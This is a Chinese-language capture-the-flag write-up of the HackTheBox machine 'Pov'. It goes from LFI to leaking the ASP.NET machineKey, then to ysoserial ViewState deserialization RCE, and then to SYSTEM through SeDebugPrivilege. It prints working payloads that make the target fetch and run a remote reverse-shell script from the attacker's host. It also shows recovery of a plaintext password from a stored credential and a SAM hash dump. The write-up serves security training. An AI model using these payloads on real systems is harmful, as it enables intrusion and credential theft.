HackTheBox - Machine - Pov

MANESEC on 2024-01-28

Pov

中等機器

0x1 Nmap scan

bash
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: E9B5E66DEBD9405ED864CAC17E2A888E
|_http-title: pov.htb
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

0x2 Vhost scan

bash
$ ffuf -u "http://pov.htb" -H "Host: FUZZ.pov.htb" -w /Tools/Wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 12330

[Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 588ms]
    * FUZZ: dev

0x3 dev.pov.htb - LFI

來到 http://dev.pov.htb/portfolio/，這下面有一個下載cv的按鈕，

然後用burp 截取一下

image

儅改成 default.aspx 就可以看到源碼，説明這裏有LFI。

aspx的服務器，然後掃描一下子目錄，包括後綴名 asp，aspx。

有LFI，所以用response隨便抓取一下NTLM hash，這樣就會知道username。

bash
[SMB] NTLMv2-SSP Client   : 10.129.140.51
[SMB] NTLMv2-SSP Username : POV\sfitz
[SMB] NTLMv2-SSP Hash     : sfitz::POV:a275ba01088d7130:EFDAE9009EB62BDD72506209E1AA698D:010100000000000000C5A39DE451DA01BA9178CCCF32817B00000000020008004D0057004B00350001001E00570049004E002D004A0057004D0053005A0055003800330059004D00590004003400570049004E002D004A0057004D0053005A0055003800330059004D0059002E004D0057004B0035002E004C004F00430041004C00030014004D0057004B0035002E004C004F00430041004C00050014004D0057004B0035002E004C004F00430041004C000700080000C5A39DE451DA0106000400020000000800300030000000000000000000000000200000DB47A1854A9446F7E8DEB2E1EE6FCFD180E8B8A435A15318CE25CFC0F0A785A60A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0033000000000000000000

hashcat爆破不了密碼。

感覺此地無銀三百兩，所以谷歌查了下幾個參數是否可以利用，

谷歌查了下：

__EVENTTARGET __EVENTARGUMENT __VIEWSTATE __VIEWSTATEGENERATOR __EVENTVALIDATION exploit

看到這篇：

https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter

https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817

https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/

0x4 shell in the box

在hacktricks 裏面提到，MachineKey可能會在config.web出現，嘗試用LFI 看看裏面有什麽 file=/web.config

xml
<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

得到：

xml
targetFramework="4.5"

decryption="AES" 
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" 

validation="SHA1" 
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

For ASP.NET framework ≥ 4.5, we need to supply the decryption algorithm and the decryption key to the ysoserial payload generator as follows:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c “echo 123 > c:\windows\temp\test.txt” --path=”/site/test.aspx/” --apppath=”/directory” — decryptionalg=”AES” --decryptionkey=”EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=”SHA1" --validationkey=”B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"

The path and apppath parameters above can be decided with the help of a little debugging. For the sake of an example, we will be using the below code.

https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817

利用 https://github.com/pwntester/ysoserial.net，生成一個payload

cmd
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe Invoke-WebRequest -Uri http://10.10.16.3/$env:UserName" --path="/portfolio/default.aspx"  --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

然後把生成的那段東西填入 __VIEWSTATE 就得到RCE。

image

cmd
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -ep bypass IEX(IWR http://10.10.16.3:3000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.16.3 3001" --path="/portfolio/default.aspx"  --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

image

0x5 User

winpeas找不到什麽好看的，所以乾脆用grep for windows找一下文件，結果grep好像有問題，於是使用ripgrep去找：https://github.com/BurntSushi/ripgrep

powershell
PS C:\mane> .\rg.exe --no-messages  -rsi "alaading" C:\
C:\Users\sfitz\Documents\connection.xml:      <S N="UserName">si</S>

0x6 User: alaading

powershell
PS C:\mane> type C:\Users\sfitz\Documents\connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179
107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac
0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

利用這個文件去登錄其他用戶

powershell
PS C:\Users\sfitz\Documents> $cred = Import-CliXml .\connection.xml
PS C:\Users\sfitz\Documents> $session = New-PSSession -ConfigurationName Microsoft.PowerShell -Credential $cred
PS C:\Users\sfitz\Documents> Invoke-Command -Session $session { whoami }
pov\alaading
PS C:\Users\sfitz\Documents> Invoke-Command -Session $session { whoami /priv }

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

然後看了下，看起來需要bypass UAC，所以要解出原本的密碼

powershell
$credential = Import-Clixml -Path "c:\users\sfitz\documents\connection.xml"
echo ($credential.UserName + ":" + $credential.GetNetworkCredential().Password)

alaading:f8gQ8fynP44ek1m3

得到密碼后，轉發對面的5985到本地，由於只開放了80端口，所以要用chisel把winrm(5985)轉發出來，然後用evil-winrm 去連接，如果使用RunasCS.exe去運行的話，會有一些未知的bug出現。

bash
# kali
./chisel_linux_amd64 server -p 3333 --reverse

# 對面
.\c.exe client 10.10.16.3:3333 R:5985:5985

然後用winrm進入到第二個user，

bash
evil-winrm -u 'alaading' -p 'f8gQ8fynP44ek1m3' -i  127.0.0.1

*Evil-WinRM* PS C:\mane> whoami
pov\alaading


*Evil-WinRM* PS C:\mane> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeDebugPrivilege              Debug programs                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

0x7 濫用 `SeDebugPrivilege` to Root

https://github.com/decoder-it/psgetsystem/tree/master

powershell
*Evil-WinRM* PS C:\mane> . .\psgetsys.ps1

*Evil-WinRM* PS C:\mane> Get-Process winlogon

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    255      12     2644      16404       0.14    544   1 winlogon


*Evil-WinRM* PS C:\mane> ImpersonateFromParentPid -ppid 544 -command "cmd.exe" -cmdargs "/c powershell.exe curl http://10.10.16.3/test"

然後kali收到：

bash
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.203.253 - - [28/Jan/2024 22:05:20] code 404, message File not found
10.129.203.253 - - [28/Jan/2024 22:05:20] "GET /test HTTP/1.1" 404 -

這個時候傳一個shell上去，

powershell
PS C:\Windows\system32> whoami
nt authority\system

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                                   State
P============================== ============================================= ========
SeAssignPrimaryTokenPrivilege   Replace a process level token                 Disabled
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process            Disabled
SeTcbPrivilege                  Act as part of the operating system           Enabled
SeSecurityPrivilege             Manage auditing and security log              Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects      Disabled
SeLoadDriverPrivilege           Load and unload device drivers                Disabled
SeProfileSingleProcessPrivilege Profile single process                        Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority                  Enabled
SeCreatePermanentPrivilege      Create permanent shared objects               Enabled
SeBackupPrivilege               Back up files and directories                 Disabled
SeRestorePrivilege              Restore files and directories                 Disabled
SeShutdownPrivilege             Shut down the system                          Disabled
SeDebugPrivilege                Debug programs                                Enabled
SeAuditPrivilege                Generate security audits                      Enabled
SeSystemEnvironmentPrivilege    Modify firmware environment values            Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                      Enabled
SeUndockPrivilege               Remove computer from docking station          Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks              Disabled
SeImpersonatePrivilege          Impersonate a client after authentication     Enabled
SeCreateGlobalPrivilege         Create global objects                         Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Disabled

0xA Hashes

bash
$ impacket-secretsdump -sam sam.jpg  -system system.jpg LOCAL -history
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x5c1cf6f08de4a912953935cbcc67be11
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f7c883121d0f63ee5b4312ba7572689b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:1fa5b00b7c6cc4ac2807c4d5b3dd3dab:::
sfitz:1000:aad3b435b51404eeaad3b435b51404ee:012e5ed95e8745ea5180f81648b6ec94:::
alaading:1001:aad3b435b51404eeaad3b435b51404ee:31c0583909b8349cbe92961f9dfa5dbf:::
[*] Cleaning up...

0xB secpolicy.inf

可以看見哪些用戶有特殊權，

參考：https://hinchley.net/articles/override-user-rights-set-via-group-policy-using-secedit

secedit /export /cfg secpolicy.inf /areas USER_RIGHT

inf
[Unicode]
Unicode=yes
[Privilege Rights]
SeNetworkLogonRight = *S-1-1-0,*S-1-5-32-544,*S-1-5-32-545,*S-1-5-32-551
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551
SeChangeNotifyPrivilege = *S-1-1-0,*S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-32-545,*S-1-5-32-551
SeSystemtimePrivilege = *S-1-5-19,*S-1-5-32-544
SeCreatePagefilePrivilege = *S-1-5-32-544
SeDebugPrivilege = alaading,*S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-544
SeAuditPrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-82-271721585-897601226-2024613209-625570482-296978595,*S-1-5-82-3876422241-1344743610-1729199087-774402673-2621913236
SeIncreaseQuotaPrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-82-271721585-897601226-2024613209-625570482-296978595,*S-1-5-82-3876422241-1344743610-1729199087-774402673-2621913236
SeIncreaseBasePriorityPrivilege = *S-1-5-32-544,*S-1-5-90-0
SeLoadDriverPrivilege = *S-1-5-32-544
SeBatchLogonRight = *S-1-5-32-544,*S-1-5-32-551,*S-1-5-32-559,*S-1-5-32-568
SeServiceLogonRight = *S-1-5-80-0,*S-1-5-82-271721585-897601226-2024613209-625570482-296978595,*S-1-5-82-3876422241-1344743610-1729199087-774402673-2621913236
SeInteractiveLogonRight = *S-1-5-32-544,*S-1-5-32-545,*S-1-5-32-551
SeSecurityPrivilege = *S-1-5-32-544
SeSystemEnvironmentPrivilege = *S-1-5-32-544
SeProfileSingleProcessPrivilege = *S-1-5-32-544
SeSystemProfilePrivilege = *S-1-5-32-544,*S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420
SeAssignPrimaryTokenPrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-82-271721585-897601226-2024613209-625570482-296978595,*S-1-5-82-3876422241-1344743610-1729199087-774402673-2621913236
SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551
SeShutdownPrivilege = *S-1-5-32-544,*S-1-5-32-551
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeUndockPrivilege = *S-1-5-32-544
SeManageVolumePrivilege = *S-1-5-32-544
SeRemoteInteractiveLogonRight = *S-1-5-32-544,*S-1-5-32-555
SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6
SeCreateGlobalPrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6
SeIncreaseWorkingSetPrivilege = *S-1-5-32-545
SeTimeZonePrivilege = *S-1-5-19,*S-1-5-32-544
SeCreateSymbolicLinkPrivilege = *S-1-5-32-544
SeDelegateSessionUserImpersonatePrivilege = *S-1-5-32-544
[Version]
signature="$CHICAGO$"
Revision=1

Copyright © 2016-2025 manesec. All rights (include theme) reserved.